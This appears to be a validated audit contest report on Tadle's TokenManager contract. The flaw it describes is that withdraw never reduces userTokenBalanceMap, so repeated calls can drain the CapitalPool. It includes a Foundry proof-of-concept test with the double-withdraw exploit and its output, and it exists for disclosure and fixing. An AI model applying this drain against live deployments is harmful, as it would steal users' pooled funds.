Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

TokenManager doesn't subtract withdrawn tokens from the userTokenBalanceMap, allowing anyone to steal all funds from the CapitalPool.

Summary

TokenManager doesn't account for funds that were already withdrawn from the contract, leading to the ability for anyone with any amount of tokens to withdraw the entire fund by repeatedly calling withdraw until the CapitalPool is completely depleted.

Vulnerability Details

TokenManager is the contract that tracks users' balances in different categories (like referral/taxes, etc.), and it has the mapping userTokenBalanceMap (https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/storage/TokenManagerStorage.sol#L19-L20) which is used for this purpose. However, the problem arises from the transfer logic itself. The contract has a withdraw function that allows users to withdraw their tokens (https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/TokenManager.sol#L137-L189), but after withdrawal, the claimed tokens are not subtracted from userTokenBalanceMap, which means we can call the withdraw function until the CapitalPool is emptied entirely.

Impact

Any user with the smallest amount recorded in userTokenBalanceMap can steal the entire CapitalPool supply.

PoC

function test_stealing_funds_from_token_manager() public {
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Bid,
OfferSettleType.Turbo
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 500);
address stock1Addr = GenerateAddress.generateStockAddress(1);
vm.stopPrank();
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
deliveryPlace.settleAskTaker(stock1Addr, 500);
vm.stopPrank();
// ANYONE CAN CALL IT
capitalPool.approve(address(mockUSDCToken));
vm.startPrank(user);
console2.log(
"BALANCE ON TOKENMANAGER BEFORE WITHDRAW - ",
tokenManager.userTokenBalanceMap(
user,
address(mockUSDCToken),
TokenBalanceType.TaxIncome
)
);
console2.log("BALANCE BEFORE", mockUSDCToken.balanceOf(user));
@> tokenManager.withdraw( // we withdrew tokens here once
address(mockUSDCToken),
TokenBalanceType.TaxIncome
);
@> tokenManager.withdraw( // we can withdraw them again because userTokenBalanceMap is not updated after transfer
address(mockUSDCToken),
TokenBalanceType.TaxIncome
);
console2.log("BALANCE AFTER", mockUSDCToken.balanceOf(user));
console2.log(
"BALANCE ON TOKENMANAGER AFTER WITHDRAW - ",
tokenManager.userTokenBalanceMap(
user,
address(mockUSDCToken),
TokenBalanceType.TaxIncome
)
);
vm.stopPrank();
}

Output:
BALANCE ON TOKENMANAGER BEFORE WITHDRAW - 150000000000000
BALANCE BEFORE 99999999983825000000000000
BALANCE AFTER 99999999984125000000000000
BALANCE ON TOKENMANAGER AFTER WITHDRAW - 150000000000000

Tools Used

Foundry.

Recommendations

Substract withdrawn tokens from userTokenBalanceMap mapping to fix this error.

Updates

Lead Judging Commences

0xnevi Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.